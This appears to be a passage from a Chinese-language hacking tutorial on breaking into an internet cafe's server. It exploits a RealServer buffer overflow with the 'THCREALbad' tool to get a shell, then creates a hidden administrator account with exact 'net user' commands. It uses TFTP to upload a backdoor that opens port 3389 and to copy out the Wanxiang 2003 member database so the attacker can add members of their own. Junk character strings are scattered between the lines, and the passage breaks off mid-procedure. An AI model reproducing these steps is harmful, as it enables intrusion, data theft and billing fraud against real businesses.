刚才用Superscan扫描时忘了,现在补充确认一下。再用real服务缓冲区溢出漏洞溢出工具"THCREALbad" AC3u试试。这个漏洞不是很著名,管理员有可能不知道,我心里想着,一会儿,提示溢出成功,并要求我连接到其31337端口,我终于看到了曙光,telnet上去,成功获得服务器的shell。 先做个账号,这要用到几条命令:(括号内为注解,不要输入) >w!R+#*iyF net user guest /active:yes(启用账户guest) :_B~Os net user guest 12345(把账户guest的密码设为12345) V*uO{x net localgroup administrators /add guest(把账户guest加到administrators组,具有最高权限,默认为Guests组) J*Wmf2%f 由于服务器用的是WinXP,因此映射网络驱动器的方法是不行了,下载TFTPD32并运行(自己去网上找), 把本地变成一台FTP服务器,FTP目录设为C盘根目录,下载djxyxs.exe(开3389用的)到C盘根目录 #(484U (FTP目录设在哪里就下载到哪里)。
回到溢出shell,把djxyxs.exe传到服务器,执行“tftp -i 192.168.0.50 get djxyxs.exe C:windowssystemdjxyxs.exe(注:192.168.0.50为本地机),传过来了,再执行“djxyxs”程序,对方的3389端口就要开了(还要重启),后门制作好了以后,来窃取服务器的会员数据库(这是本文的重点),服务端一般是被装在C盘的Octopus目录下,执行“tftp -i 192.168.0.50 put Oct2003.mdb c:octopusOct2003.mdb”(注:oct2003.mdb为万象2003的会员数据库),一盏茶的功夫(视数据库的大小而定),数据库下载过来了,但是怎么打开呢?可以用Excel,但网吧里不会装这种玩意,记得服务器的共享目录Backup里有个万象2003的安装程序(在“百度”搜索“万象2003”可以找到),把它的服务端装到本机D盘根目录,用刚刚下载到C盘的Oct2003.mdb覆盖掉本机“D:Octopus”目录里的空数据库文件,再运行服务端程序“server.exe”可以看到本网吧的所有会员,接下来是自己添加会员,没什么好说的,可别告诉我你不会。再着是要把修改后的数据库文件传回来,由于服务器的万象服务端是开着的,为避免发生冲突,切不可把修改过的数据库文件直接传到目标的octopus目录,要换一种方法,让服务器在重新启动过程中替换掉那两个文件,方法如下: